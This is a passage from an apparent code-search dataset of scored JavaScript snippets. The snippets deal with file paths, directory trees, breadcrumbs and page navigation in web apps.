path.split('/');\n parentPath.pop();\n parentPath = parentPath.join('/');\n \n let li = document.createElement(\"li\");\n li.innerText = \"(D) ..\";\n li.addEventListener(\"dblclick\", async () => {\n await this._showDirectory(parentPath);\n });\n ul.appendChild(li);\n }\n \n for (let dirObject of dir.contents) {\n let li = document.createElement(\"li\");\n // Temporary solution the lively4 dropbox API does not provide directory as attribute value yet\n const isDirectory = dirObject.type == \"directory\";\n li.innerText = isDirectory ? \"(D) \" : \"(F) \";\n li.innerText += dirObject.name;\n \n li.addEventListener(\"click\", () => {\n if (this._lastSelectedObject != null) {\n this._lastSelectedObject.style.backgroundColor = \"#fff\";\n }\n \n this._lastSelectedObject = li;\n li.style.backgroundColor = \"#eee\";\n this._selectMountObject(dirObject);\n });\n \n if(isDirectory) {\n li.addEventListener(\"dblclick\", async () => {\n this._selectMountObject(dirObject);\n await this._showDirectory(path + '/' + dirObject.name);\n })\n }\n \n ul.appendChild(li);\n }\n \n let breadcrumbs = this.get(\"#breadcrumbs\");\n breadcrumbs.innerHTML = `(${path})`;\n \n dirTree.appendChild(ul);\n }", "title": "" }, { "docid": "e7fbbddbc160641ff3c47c06fdc95c96", "score": "0.54506636", "text": "function showLocationFileFromURL() {\n\tvar item = $('.active-card');\n\tvar documentIdSelect = item.attr('data-id-doc');\n\n\tif (item.length != 0) {\n\t\t$('.cards:not(.cards .card[data-id-doc=' + documentIdSelect + '])')\n\t\t\t\t.removeClass('active').hide();\n\t\tvar cards = $('.card[data-id-doc=' + documentIdSelect + ']').parent(\n\t\t\t\t'.cards');\n\t\tcards.addClass('active');\n\t\tcards.slideDown(200);\n\t\tcards.prev('a.year').children('i.fa')\n\t\t\t\t.attr('class', 'fa fa-folder-open');\n\t}\n}", "title": "" }, { "docid": "6d206b0cf57ca866637a37b9e3830d9a", "score": "0.5449043", "text": "function pageList()\n{\n //global config;\n contents = \"\";\n files = wikiReadDir(pageDir());\n details = [];\n for( i = 0 ; i < files.length ; i++ ){\n file = files[i];\n details[file] = FILE.filedate( file );\n }\n //arsort(details);\n //reset(details);\n s = Object.keys(details); \n for( i=0 ; i<s.length ; i++ ){\n dd = details[s[i]];\n ff = basename(s[i]).nkfconv(\"Sw\");\n contents += \"[[\"+basename(s[i]).nkfconv(\"Sw\")+\"]]\\t\"+details[s[i]].toDateString(config.GENERAL.MODTIME_FORMAT)+\"\\n\";\n }\n return contents;\n}", "title": "" }, { "docid": "0c91b9e478b433ba173d05676f609147", "score": "0.54423267", "text": "function getActiveFilePath() {\n activeFilePath = DocumentManager.getCurrentDocument().file.fullPath;\n projectRoot = ProjectManager.getProjectRoot().fullPath;\n projectDirectoryName = projectRoot.match(/([^\\/]*)\\/*$/)[1];\n result = projectDirectoryName + '/' + activeFilePath.replace(projectRoot, \"\");\n \n Dialogs.showModalDialog(\"Current File Path\", \"Current File Path\", \"<label style='-o-user-select: all; -moz-user-select: all; -webkit-user-select: all; user-select: all; '>\" + result + \"</label>\");\n }", "title": "" }, { "docid": "8636788a193b45a66e0c13b67d2a6d3b", "score": "0.54395175", "text": "getCurrentContentName () {\n return window.getFileName(window.PDFView.url)\n }", "title": "" }, { "docid": "b9cac9b8dc9927f872300d8bac857447", "score": "0.5427308", "text": "function showItemInFolder (path) {\n log(`showItemInFolder: ${path}`)\n shell.showItemInFolder(path)\n}", "title": "" }, { "docid": "a0e569e015dae684813a149f5febcf79", "score": "0.5426037", "text": "function displayContent() {\n\tvar class_query = getClass();\n\n\tif (class_query in CLASSES) {\n\t\tvar new_path = \"/notes/\" + CLASSES[class_query] + \"/1.html\";\n\t\twindow.location.replace(new_path);\n\t} else {\n\t\tlistClasses();\n\t}\n}", "title": "" }, { "docid": "40b83ae4acd9dcf21c6dec8f1bb04b06", "score": "0.5414985", "text": "getPath() {\n return `${this.lesson.getPath()}/${this.name}`\n }", "title": "" }, { "docid": "481dbbc758cddf665a6da3663ebb2eb0", "score": "0.5407058", "text": "function show_curr_slide(){\n slides.eq(curr).show();\n adjust_nav();\n }", "title": "" }, { "docid": "58e8c2ba18fd17bd8b0e8e34b2c94c8e", "score": "0.540258", "text": "get Directory()\n {\n var path = window.location.href.split('/');\n path.length --;\n return path.join('/') + '/';\n }", "title": "" }, { "docid": "9dce3c5415e996202191100313ae95b3", "score": "0.5401041", "text": "get path() {}", "title": "" }, { "docid": "b7e404e36864378fa91e26c8414ccd35", "score": "0.5395428", "text": "dir_name_alter() {\n console.log(path.dirname(__filename));\n }", "title": "" }, { "docid": "5fc4bcaaaa8205a3d10c8ddf70fe3f69", "score": "0.5384184", "text": "function current() {\n return window.location.pathname + (window.location.search ? window.location.search : '')\n }", "title": "" }, { "docid": "9c64bf96f3f131b87d66831217115a96", "score": "0.536492", "text": "getFileManager(req, res) {\n res.render(\"pages/file-manager\", {\n title: \"AD - File Manager\",\n });\n }", "title": "" }, { "docid": "1a15b40f745f5893697efc2c7cc0e905", "score": "0.535297", "text": "static getPathname() {\n return window.location.pathname;\n }", "title": "" }, { "docid": "37ba1e6625fcdca22bf4a4a1eb796473", "score": "0.5349097", "text": "function navbarinfo(path, loc){\r\r\n\tnavbarhead();\r\r\n\tnavbarhome();\r\r\n\tnavbariter(path);\r\r\n\tnavbarend(loc);\r\r\n}", "title": "" }, { "docid": "80e7105bcfa9ea157f4c417850978c88", "score": "0.53460586", "text": "function showHelp() {\n console.log(\"Notes :\" + \"\\n\" +\n \" It is required to organize your share lib folder like:\" + \"\\n\\n\" +\n \" share_lib/\\n\" +\n \" |_____controller/\\n\" +\n \" |_____custom-controller.js\\n\" +\n \" |_____lib/\\n\" +\n \" |_____server/\\n\" +\n \" |_____client/\\n\" +\n \" |_____common/\\n\");\n}", "title": "" }, { "docid": "80e7105bcfa9ea157f4c417850978c88", "score": "0.53460586", "text": "function showHelp() {\n console.log(\"Notes :\" + \"\\n\" +\n \" It is required to organize your share lib folder like:\" + \"\\n\\n\" +\n \" share_lib/\\n\" +\n \" |_____controller/\\n\" +\n \" |_____custom-controller.js\\n\" +\n \" |_____lib/\\n\" +\n \" |_____server/\\n\" +\n \" |_____client/\\n\" +\n \" |_____common/\\n\");\n}", "title": "" }, { "docid": "5c41e8d4d9471dbabc938f7a486e3f52", "score": "0.53391635", "text": "function redirInfo() {\n\tlinkit(\"http://userscripts.org/scripts/show/33449\", true, false);\n}", "title": "" }, { "docid": "fdcbc03cfe9c78d69461305bc4047d9d", "score": "0.5338956", "text": "function displayTree(path) {\n \"use strict\";\n $('#filetree').fileTree({\n root: ROOT,\n script: '/editor/get_dirlist',\n multiFolder: false,\n expandedPath: path,\n expandOnce: true,\n extendBindTree: rascal.dnd.bindTree\n }, function (path, meta) {\n var fpath = path.split(ROOT).pop(),\n apath;\n // console.log('file click meta ' + meta);\n if (meta && (apath = pathToUrl(fpath))) {\n window.open(apath, '_blank');\n } else if (!bFileChanged) {\n loadFile(path);\n } else {\n var which;\n if (fpath !== $('#path').val()) {\n which = SAVE;\n } else {\n which = REVERT;\n }\n querySave.init(which, function (status) {\n if (status === 1) {\n loadFile(path);\n }\n });\n }\n });\n}", "title": "" }, { "docid": "30a910268df09e7967611f37a2fd29ef", "score": "0.5335482", "text": "function get_current_page() {\n\treturn window.location.pathname.split('/').slice(2).join(\"\");\n}", "title": "" }, { "docid": "68e1907d1dad3f9be3f0d36188143dcc", "score": "0.5324762", "text": "function showSection(path) {\n path.shift();\n var wrapper = $('.manual .chapter-content .sub-section-wrapper');\n $.each(path, function(i, num) {\n var item = $(wrapper).children('.sub-section-item').get(num);\n $(item).trigger('click');\n wrapper = $(item).next().next();\n })\n}", "title": "" }, { "docid": "1de69a740c95230b7dc11be084bc5cf5", "score": "0.5321797", "text": "function docInfoPage(selectedDoc) {\n let docPic = document.querySelector(\".doctor__profile__pic\"); //Take the avatar\n let docName = document.querySelector(\".doctor__profile__info h3\"); //Take the name\n let docSpec = document.querySelector(\".doctor__profile__info p\"); //Take the specialization\n let docAbout = document.querySelector(\".doctor__about p\");\n\n docPic.src = `${selectedDoc.avatar}`;\n docName.innerHTML = `${selectedDoc.name}`;\n docSpec.innerHTML = `${selectedDoc.category}`;\n docAbout.innerHTML = `${selectedDoc.about}`;\n}", "title": "" }, { "docid": "41eacde5c9fab88a291fe4c56787efc0", "score": "0.53125715", "text": "function displayTechdocs(url, req, res) {\n var myHTML = \"<html>\";\n myHTML += \"<body><h1>Technical Documents</h1>\";\n myHTML += \"<a href='/'>Go Home</a>\";\n myHTML += \"</body></html>\";\n res.writeHead(200, { \"Content-Type\": \"text/html\" });\n\n res.end(myHTML);\n}", "title": "" }, { "docid": "05bba9fee7fc3fe229bddf20d670599e", "score": "0.53107303", "text": "function showRoot() {\n var root = DriveApp.getRootFolder();\n Browser.msgBox(root.getName());\n}", "title": "" }, { "docid": "3c09f8c3dfc27318288016d3196e519f", "score": "0.5309247", "text": "function listPages () {\n\treturn ls(PAGE_DIR+'*.md');\n}", "title": "" }, { "docid": "940ae8c12a1e39a0a52356af55efa40a", "score": "0.5308838", "text": "function getCurrentPage() {\n var paths = location.href.split('/');\n return paths[paths.length-1].split('.')[0];\n}", "title": "" }, { "docid": "1123c7478b3824134bbb0dfcb4c5886b", "score": "0.5307822", "text": "function flatView(dirPath){\r\n let isFile = isFileChecker(dirPath);\r\n if(isFile == true){\r\n console.log(dirPath + \"*\");\r\n }\r\n else{\r\n console.log(dirPath);\r\n let children = readContent(dirPath);\r\n\r\n for(let i = 0; i < children.length; i++){\r\n flatView(dirPath + \"\\\\\" + children[i]);\r\n }\r\n }\r\n}", "title": "" }, { "docid": "a552b93b4bc690087dff078f256b9809", "score": "0.5273812", "text": "function displayInitialPage(){\n\t\tvar node = this.responseXML;\n\t\tvar titleAll = node.querySelectorAll(\"title\");\n\t\tvar folderAll = node.querySelectorAll(\"folder\");\n\t\tvar length = titleAll.length;\n\n\t\tfor(var i = 0; i < length; i++){\n\t\t\tvar div = document.createElement(\"div\");\n\t\t\tvar img = document.createElement(\"img\");\n\t\t\timg.src = \"books/\" + folderAll[i].textContent + \"/cover.jpg\";\n\t\t\timg.value = folderAll[i].textContent;\n\t\t\timg.onclick = requestSingleBook;\n\t\t\tdiv.appendChild(img);\n\t\t\t\n\t\t\tvar p = document.createElement(\"p\");\n\t\t\tp.innerHTML = titleAll[i].textContent;\n\t\t\tp.value = folderAll[i].textContent;\n\t\t\tp.onclick = requestSingleBook;\n\t\t\tdiv.appendChild(p);\n\t\t\tdocument.getElementById(\"allbooks\").appendChild(div);\n\t\t}\n\t}", "title": "" }, { "docid": "084cf8bf423dacc6a242387713efa9df", "score": "0.5270441", "text": "function treeView(dirPath, indent){\r\n let isFile = isFileChecker(dirPath);\r\n if(isFile == true){\r\n console.log(indent, path.basename(dirPath));\r\n }\r\n else{\r\n console.log(indent, path.basename(dirPath));\r\n let children = readContent(dirPath);\r\n for(let i = 0; i < children.length; i++){\r\n treeView(path.join(dirPath, children[i]), indent + '\\t');\r\n }\r\n }\r\n}", "title": "" }, { "docid": "f9a15cfc53b202c8fb16d14d6dd13feb", "score": "0.5269813", "text": "function ImageInfo() {\n var path = window.location.pathname;\n var page = path.split(\"/\").pop();\n if (page == \"trash.html\") {\n var pg = window.open(\"deletedElement.html\", \"_self\");\n } else {\n var pg = window.open(\"full-width.html\", \"_self\");\n pg.name = event.target.name + \"/a/\";\n }\n}", "title": "" }, { "docid": "1744ac28aceafe6d0550d033094a9d63", "score": "0.52349824", "text": "viewRepoInfo(){\n console.log(`${this.userName}'s ${this.repoName} Repository\\n---\\n${this.description}\\n---\\nNumber of Files : ${this.files.length}`);\n for(let i = 0; i < this.files.length; i++){\n console.log(`File Name : ${this.files[i].name}\\nFile Type : ${this.files[i].type}`);\n }\n }", "title": "" }, { "docid": "6f6e6a996e81fb89d2cf99b440eeb1f7", "score": "0.52202165", "text": "function showcv()\n{\n console.log(window.location.pathname);\n window.open(window.location.pathname+\"/../public/files/Adrien_Godoy_SoftDev.pdf\");\n}", "title": "" }, { "docid": "a44a67932623491a9794acaa0820a6b4", "score": "0.52179366", "text": "function updatePath(view) {\n var parts, oldParts,\n pathStr = \"\",\n i = 1; // Skip the first element as it's always the same\n parts = join(view[0].currentFolder).split(\"/\");\n if (parts[parts.length - 1] === \"\") parts.pop();\n if (view[0].currentFile !== null) parts.push(view[0].currentFile);\n parts[0] = droppy.svg.home; // Replace empty string with our home icon\n if (view[0].savedParts) {\n oldParts = view[0].savedParts;\n while (true) {\n pathStr += \"/\" + parts[i];\n if (!parts[i] && !oldParts[i]) break;\n if (parts[i] !== oldParts[i]) {\n if (!parts[i] && oldParts[i] !== parts[i]) { // remove this part\n removePart(i);\n } else if (!oldParts[i] && oldParts[i] !== parts[i]) { // Add a part\n addPart(parts[i], pathStr);\n } else { // rename part\n $(view.find(\".path li\")[i]).html(parts[i] + droppy.svg.triangle).data(\"destination\", pathStr);\n }\n }\n i++;\n }\n finalize();\n } else {\n addPart(parts[0], \"/\");\n for (var len = parts.length; i < len; i++) {\n pathStr += \"/\" + parts[i];\n addPart(parts[i], pathStr);\n }\n finalize();\n }\n\n view[0].savedParts = parts;\n\n function addPart(name, path) {\n var li = $(\"<li><a>\" + name + \"</a></li>\");\n li.data(\"destination\", path);\n li.register(\"click\", function (event) {\n var view = $(event.target).parents(\".view\");\n if (droppy.socketWait) return;\n if ($(this).is(\":last-child\")) {\n if ($(this).parents(\".view\").data(\"type\") === \"directory\") {\n updateLocation(view, $(this).data(\"destination\"));\n }\n } else {\n view[0].switchRequest = true; // This is set so we can switch out of a editor view\n updateLocation(view, $(this).data(\"destination\"));\n }\n setTimeout(function () {checkPathOverflow(view); }, 400);\n });\n view.find(\".path\").append(li);\n li.append(droppy.svg.triangle);\n }\n\n function removePart(i) {\n var toRemove = view.find(\".path li\").slice(i);\n toRemove.setTransitionClass(\"in\", \"gone\").end(function () {\n $(this).remove();\n });\n }\n\n function finalize() {\n view.find(\".path li:not(.gone)\").setTransitionClass(\"in\");\n setTimeout(function () {checkPathOverflow(view); }, 400);\n }\n }", "title": "" }, { "docid": "60f2ee0d27637714ccb86b19811b1312", "score": "0.5203221", "text": "get dir() {\n parse_path(this);\n return this._dir;\n }", "title": "" }, { "docid": "44990d791f4b12f38cf8c9cbcca3eb2d", "score": "0.5200553", "text": "function getURL(index, id) {\n var currentLocation = new String(window.location);\n var paths = currentLocation.split(\"/\");\n document.getElementById(id).innerHTML = paths[index];\n return paths[index];\n}", "title": "" }, { "docid": "a1821f787f9fcf5f18606a481c4ca430", "score": "0.5194503", "text": "function showPageInfo(){\n $('.pageInfo').html(`${actualPage} / ${maxPages}`)\n }", "title": "" }, { "docid": "de5b16242c8e24cd46519209b2c29e30", "score": "0.51918304", "text": "function showDirectory() {\n\t// base directory element.\n\tvar grid = $(\".gridParent\");\n\t\n\t// link used name to key\n\tvar nameToKey = {};\n\n\tvar data = undefined;\n\t// setup data for tags.\n\tif(REGUEST_MODE == TAGS_MODE || REGUEST_MODE == CONTENT_TAGS_MODE) {\n\t\tfor(var i = 0 ; i < dataSet.tags.length; ++i) {\n\t\t\tnameToKey[dataSet.tags[i]] = dataSet.tags[i];\n\t\t}\n\t\tdata = dataSet.tags;\n\t}\n\t// setup data for series.\n\telse {\n\t\tvar sNames = [];\n\t\tfor(var i = 0 ; i < dataSet.series.length; ++i) {\n\t\t\tnameToKey[dataSet.series[i].names[0]] = dataSet.series[i].name;\n\t\t\tsNames.push(dataSet.series[i].names[0]);\n\t\t}\n\t\tdata = sNames;\n\t}\n\t\n\t// all the data with first letter of the data name as key.\n\tvar values = {};\n\tfor(var i = 0 ; i < data.length; ++i) {\n\t\tif(data[i]) {\n\t\t\tvar k = data[i][0];\n\t\t\tif(!values[k]) values[k] = [];\n\t\t\t\n\t\t\tvalues[k].push(data[i]);\n\t\t}\n\t}\n\t\n\t// build a key set and sort everything alphabetically.\n\tvar keys = [];\n\tfor(var k in values) {\n\t\tkeys.push(k);\n\t\tvalues[k].sort();\n\t}\n\tkeys.sort();\n\t\n\t// set data links.\n\tfor(var i = 0; i < keys.length; ++i) {\n\t\tvar keyName = keys[i];\n\t\tvar keyValue = values[keyName];\n\t\tvar subGrid = $('<div class=\"gridChild\">');\n\t\tgrid.append(subGrid);\n\t\tsubGrid.append('<b>'+keyName+'</b><br/>');\n\t\tfor(var f = 0 ; f < keyValue.length ; ++f) {\n\t\t\tif(REGUEST_MODE == TAGS_MODE || REGUEST_MODE == CONTENT_TAGS_MODE) {\n\t\t\t\tsubGrid.append($('<div><a href=\"/search/?tags='+nameToKey[keyValue[f]]+'\">'+keyValue[f]+' ('+dataSet.count[keyValue[f]]+')</a></div>'));\n\t\t\t} else {\n\t\t\t\tsubGrid.append($('<div><a href=\"/chapters/?name='+nameToKey[keyValue[f]]+'\">'+keyValue[f]+'</a></div>'));\n\t\t\t}\n\t\t}\n\t}\n\t\n\t// initialize topbar.\n\tsetupBaseTopbarFunctionality();\n}", "title": "" }, { "docid": "4b015c4b30560c265343d445327907de", "score": "0.51907456", "text": "function getThis(path) {\n getPageData(path);\n}", "title": "" }, { "docid": "76ae19497a656f799045f2652796f638", "score": "0.51891255", "text": "render(direction,path){\n\t\tif(this.ME.hiddenPathsVisible && this.hiddenDescription.length !== 0){\n\t\t\treturn this.hiddenDescription\n\t\t}else{\n\t\t\tlet desc = this.description();\n\t\t\tthis.updateDescriptionIndex();\n\n\t\t\treturn <span>{this.directionText(direction,path)}{desc} {this.renderPaths()}</span>\t\n\t\t}\n\t}", "title": "" }, { "docid": "e3507eb7d5390fd87d85f1f257de28db", "score": "0.5184649", "text": "function get_experiment_folder_html(){\n\n /* doesn't matter what file we run this from: same answer. */\n var loc = document.location\n\n /* check for expected filename/ path for html file */\n loc = loc.toString()\n if(loc.slice(-11) != 'memory.html'){\n console.log('error: unexpected filename: ' + loc)\n }\n\n /* drop the filename and return the path */\n var words = loc.split('/')\n return words.slice(0, words.length - 1).join('/') + '/'\n}", "title": "" }, { "docid": "faa56e74bbc50a05425430610af06871", "score": "0.51838267", "text": "function listFile(docRoot) {\n\n return function (req, res, next) {\n //var folder = path.join(docRoot, req.baseUrl);\n var folder = path.join(docRoot, req.originalUrl);\n if (!fs.existsSync(folder)) {\n res.status(404).send('folder ' + folder + ' doesn\\'t exist');\n return;\n }\n // TODO: decide if it is a file or folder\n var stat = fs.statSync(folder);\n if (!stat.isDirectory()) {\n folder = path.dirname(folder);\n }\n\n var markdown = {content: '', toc: ''};\n var dir = folderUtil.readDir(folder);\n\n if (stat.isDirectory() && dir.readMe) {\n markdown = render.withToc(fs.readFileSync(dir.readMe, {encoding: 'UTF-8'}));\n }\n\n res.locals.dir = dir.files;\n res.locals.markdown = markdown;\n\n\n next();\n };\n}", "title": "" }, { "docid": "003057a2c9e401209228fa34fe6500d1", "score": "0.5179556", "text": "getSlidePath(editor, path) {\n return (path !== undefined && Path.isPath(path) && path.length > 0) ? [path[0]] : undefined;\n }", "title": "" }, { "docid": "1102b381627d47cab8685b1bb1d4adf8", "score": "0.5178165", "text": "function targetPath(data) {\n return Path.join(data.slug + \".html\");\n }", "title": "" }, { "docid": "f4ba37bb9fa07e6e391414362e8400b7", "score": "0.51773435", "text": "function treeRec(path,lvl) {\n var auxDir = openDir(path,'tree');\n if ( auxDir ) {\n var auxFile = Object.keys(auxDir).filter(word => !WLIST_SYSNAME.includes(word) && !word.startsWith(\".\")).sort();\n\n let i = 0;\n for ( i = 0; i < auxFile.length-1; i++ ) {\n if ( !auxDir[auxFile[i]]['options']['type'].includes('open') ) {\n newLine(lvl+'├──\\xa0<span class=\"'+auxDir[auxFile[i]]['options']['type']+'\">'+auxDir[auxFile[i]][\"options\"][\"name\"]+'</span>');\n } else {\n newLine(lvl+'├──\\xa0<a class=\"'+auxDir[auxFile[i]]['options']['type']+'\" target=\"_blank\" href=\"'+auxDir[auxFile[i]]['options']['url']+'\">'+auxDir[auxFile[i]][\"options\"][\"name\"]+'</a>');\n }\n treeRec(auxDir[auxFile[i]][\"options\"][\"dir\"]+auxDir[auxFile[i]][\"options\"][\"name\"]+\"/\",lvl+\"│\\xa0\\xa0\\xa0\");\n }\n if ( auxFile.length > 0 ) {\n if ( !auxDir[auxFile[i]]['options']['type'].includes('open') ) {\n newLine(lvl+'└──\\xa0<span class=\"'+auxDir[auxFile[i]]['options']['type']+'\">'+auxDir[auxFile[i]][\"options\"][\"name\"]+'</span>');\n } else {\n newLine(lvl+'└──\\xa0<a class=\"'+auxDir[auxFile[i]]['options']['type']+'\" target=\"_blank\" href=\"'+auxDir[auxFile[i]]['options']['url']+'\">'+auxDir[auxFile[i]][\"options\"][\"name\"]+'</a>');\n }\n treeRec(auxDir[auxFile[i]][\"options\"][\"dir\"]+auxDir[auxFile[i]][\"options\"][\"name\"]+\"/\",lvl+\"\\xa0\\xa0\\xa0\\xa0\");\n }\n }\n}", "title": "" }, { "docid": "e1746d53c24e2af4b62d5dca380f98be", "score": "0.5168866", "text": "function visualizePath(curr){\n if(curr !== null){\n visualizePath(curr.predecessor);\n curr.show(colorEnum.GOLD);\n }\n}", "title": "" }, { "docid": "d7f5f4967b8e0f54b19a77c1542c7bf2", "score": "0.5163033", "text": "function getItemPath(item) {\n\tif (item === app.project.rootFolder) {\n\t\treturn '/';\n\t}\n\n\tvar result = item.name;\n\twhile (item.parentFolder !== app.project.rootFolder) {\n\t\tresult = item.parentFolder.name + ' / ' + result;\n\t\titem = item.parentFolder;\n\t}\n\treturn '/ ' + result;\n}", "title": "" }, { "docid": "f043c9397662374de1f422fe494ad161", "score": "0.5140784", "text": "function loadDirPath() {\n getRoot(function (rootDir) {\n if (!isdef(rootDir)) {\n $('#tv_chosen_folder').html(getString(\"error_no_folder_specified\"));\n $('#tv_chosen_folder').fadeIn();\n } else {\n getFormattedPath(rootDir, function (path, isValid) {\n $('#tv_chosen_folder').html(path);\n $('#tv_chosen_folder').fadeIn();\n\n if (!isValid) {\n $('#tv_chosen_folder_tooltip').fadeIn();\n } else {\n $('#tv_chosen_folder_tooltip').fadeOut();\n }\n });\n }\n },\n // flag to return even if the result would be 'undefined'\n true);\n}", "title": "" }, { "docid": "8d28f1242e7c7d457f93939c68956907", "score": "0.51381665", "text": "function listDirectory(res, dir_addr) { \n\tvar path = '/'; \n\t\n\t// Reading the files uploaded in the uploads folder\n\tfs.readdir(uploadDir + path , function(err, files) {\n\t\tif(err) {\n\t\t\tres.writeHead(501, {'Content-Type' : 'text/html'});\n\t\t\tres.write('<p style=\"color:red\">Error</p>');\n\t\t\tres.end();\n\t\t}\n\t\telse {\t \n\t\t\t// Showing the list of uploaded files if any\n\t\t\tres.writeHead(200, {'Content-Type' : 'text/html'});\n\t\t\thtmlHead(res);\t \n\t\t\tfor (var i = files.length - 1; i >= 0; i--) {\n\t\t\t\tvar file_name = files[i];\t\t\n\t\t\t\tres.write('<p><a href=\"' + file_name + '\">' + file_name + '</a></p>');\n\t\t\t\tres.write('\\n');\n\t\t\t};\n\t\t\thtmlEnd(res);\n\t\t\tres.end();\n\t\t}\n\t});\n}", "title": "" }, { "docid": "b0c414af59ef3f2aeab461e0883701d3", "score": "0.5134738", "text": "function getinfo(pp, callback) {\n if (pp.isDirectory) {\n directoryInfo(pp, function (result) {\n callback(result);\n });\n } else {\n fileInfo(pp, function (result) {\n callback(result);\n });\n }//if\n }//getinfo", "title": "" }, { "docid": "20f4ea832a69bcc4cdfb29c720e58ec2", "score": "0.51345915", "text": "get path() {\n const { dir, name } = this;\n return dir? `${dir}/${name}`: name;\n }", "title": "" }, { "docid": "28355520db6b1bb96fdd872fc8bd7136", "score": "0.51336116", "text": "function setCurrentContent() {\n imageContainer.src = PATHS[currentIndex];\n centerImage();\n description.innerHTML = `<p>${DESCRIPTIONS[currentIndex]}</p>`;\n}", "title": "" }, { "docid": "86fe5871823067811271a1848de840b4", "score": "0.51143515", "text": "function displayPaths(){\n console.log('in display paths');\n $(\".appendFlipster\").append(\"<div class='flipster'></div>\");\n var tempUl = $('<ul/>').addClass('items').appendTo('.flipster');\n for(var i=0; i<pathlist.length; i++){\n var $path = \"<li><img id=\\\"\" + i + \"\\\" src=\\\"\" + pathlist[i] + \"\\\" onerror=\\\"src='/assets/images/noPic.png'\\\"/></li>\";\n console.log($path);\n tempUl.append($path);\n }\n genCoverflow();\n }", "title": "" }, { "docid": "7aad03ebb9fd004b10c7f9594c8429be", "score": "0.51141953", "text": "function getDisplay(node) {\n var ed = node.data.ed;\n var display = ed.path;\n\n var ar = ed.path.split('.');\n if (ar.length > 1) {\n ar.splice(0,1)\n display = ar.join('.')\n }\n\n if (display == 'extension') {\n if (ed.sliceName) {\n display=ed.sliceName\n } else\n if (ed.label) {\n display=ed.label\n } else if (ed.name) {\n display=ed.name;\n } else if (ed.short) {\n display=ed.short;\n }\n } else {\n if (ed.sliceName) {\n display=ed.sliceName\n }\n }\n\n\n\n\n if (ed.slicing) {\n display += \" D\"\n }\n\n if (ed.myMeta.fixed) {\n display += \" F\"\n }\n\n if (ed.mustSupport) {\n display += \" M\"\n }\n\n return display;\n }", "title": "" }, { "docid": "bd4b56e888306c7a5341ed057e5839e6", "score": "0.5100965", "text": "getName() {\n return this._pathname;\n }", "title": "" }, { "docid": "e4e7dfb19b37a0c4358aa5e0589b943e", "score": "0.50933504", "text": "function onward(path){\n\n index++;\n get_concert(path+`/${index}`,\"Next\");\n\n\n \n }", "title": "" }, { "docid": "6175b7c4536973bc6f792a69c5902b77", "score": "0.50903815", "text": "function displayLs(done){\n //fs is a built-in module in node\n fs.readdir('./', 'utf8', (err, files) => {\n if(err) {\n throw err\n } else {\n let output = files.join('\\n');\n done(output);\n }\n })\n}", "title": "" }, { "docid": "7841c5addf797d63ad49292ffeb41f0f", "score": "0.5088399", "text": "function Home(pn_is_sub) {\n /*document.write\n (\"<a HREF=\\'\"+getpath(pn_is_sub)+\"index.html\\'> <img src=\\\"\"+getpath(pn_is_sub)+\n\t\t\t\"pictures/Firmowka2.png\\\" width=\\\"258\\\" height=\\\"67\\\" alt=\\\"Index\\\" /></a>\");\n*/\n}", "title": "" }, { "docid": "5a219287b24bae811000c9b42ff6bc24", "score": "0.5085997", "text": "function getPath(){\n // let regex = /\\/fs\\/([^&#]*).html/;\n // pathname = \"/event/123\"\n // let regex = /(event|topic)\\/([0-9]+)/;\n // result[1]: event\n // result[2]: 123 (id)\n // let results = regex.exec(window.location.pathname);\n // return !results ? '' : decodeURIComponent(results[1].replace(/\\+/g, ' '));\n if(window.location.pathname.indexOf('topic')>=0){\n return 'topic';\n }else if (window.location.pathname == \"/\"){\n return 'top';\n }else if (window.location.pathname.indexOf('signup')>=0){\n return 'signup';\n }else if (window.location.pathname.indexOf('speaker')>=0){\n return 'speaker';\n }else{\n return 'event';\n }\n }", "title": "" }, { "docid": "f26dc34053be2782e05748e72a2ee668", "score": "0.5085556", "text": "function displayDownloadDirPref()\n{\n displayDownloadDirPrefTask().catch(Cu.reportError);\n}", "title": "" }, { "docid": "aca41dcf11a10f6174b0b793ed68858d", "score": "0.5083636", "text": "function setContext() {\n\n\t\t// current directory\n\t\tvar directory = _windowLoc.pathname.substring(0, _windowLoc.pathname.lastIndexOf('/') )\n\t\t\t// full URL\n\t\t\t, windowHref = _windowLoc.href\n\t\t\t;\n\n\t\t// update breadcrumb\n\t\tif ( directory !== '' ) {\n\t\t\t$('#directory').text(directory);\n\t\t}\n\n\t\t// target link by text content \n\t\t$('a:contains(\"Parent Directory\")').addClass('back');\n\n\t}", "title": "" }, { "docid": "29cc29dbabdac68b74d0f435b3c0149f", "score": "0.5074689", "text": "function introspect(){\n var link = document.getElementsByTagName(\"link\")[0].getAttribute(\"href\");\n var count = (link.match(/\\.\\.\\//g) || []).length;\n pre = \"\";\n for (var i=0; i<count; i++){\n pre += \"../\"\n } //building context for relative links\n \n return pre;\n }", "title": "" }, { "docid": "d8d3e91991ae1eb041bd57f8b4c69f26", "score": "0.5071996", "text": "getTitle(): string {\n return path.basename(this._uri);\n }", "title": "" }, { "docid": "436f4fc4cc033e2be48c9173e3e2a5fe", "score": "0.50704944", "text": "function onDisplay(e) {\n\t\t\tvar path = getPath(e.currentTarget);\n\n\t\t\t// If this is the htassets root, make the parent dir link\n\t\t\t// rel=external to avoid craziness\n\t\t\tif (path == htasset_location)\n\t\t\t\t$(\"a:contains('Parent Directory')\").attr('rel','external');\n\n\t\t\t\n\t\t\t// Mark all rel=external and no-ajax links so they are apparent\n\t\t\t$(\"a[rel=external]\").add(\"a[data-ajax=false]\").addClass('external');\n\t\t\t\n\t\t}", "title": "" }, { "docid": "c446121c06046d94ea06bf504fcf1284", "score": "0.5068504", "text": "function fileList(title) {\n\tdivName = friendlyDiv(title);\n}", "title": "" }, { "docid": "b804443b9fae7b16f759c4be030abd95", "score": "0.50680566", "text": "function showDirectory(){\n\twindow.requestFileSystem(LocalFileSystem.PERSISTENT, 0, function(fs) {\n// \talert(\"Root = \" + fs.root.fullPath);\n\t\tvar directoryReader = fs.root.createReader();\n\t\tdirectoryReader.readEntries(success,failDir);\n\t}, function (error) {\n\t\talert(error.code);\n\t});\n\tfunction success(entries) {\n\t\tvar ent=\"<option>Select File</option>\";\n\t\tfor (var i=0; i<entries.length; i++) {\n\t\t\tent += \"<option value=\"+entries[i].name+\">\"+entries[i].name+\"</option>\";\n\t\t}\n\t\t$(\"#loadConfSelect\").html(ent);\t\t\n//\t\talert(\"pasok sa success?\"+ent);\n\t}\n\tfunction failDir(error) {\n\t\talert(\"Failed to list directory contents: \" + error.code);\n\t}\n}", "title": "" }, { "docid": "720bf175e9d5a54552c6a4e05f55d962", "score": "0.50676167", "text": "function generatePageName() {\n\t\t\n\t\t// Get the page name from the url.\n\t\tvar sPath = 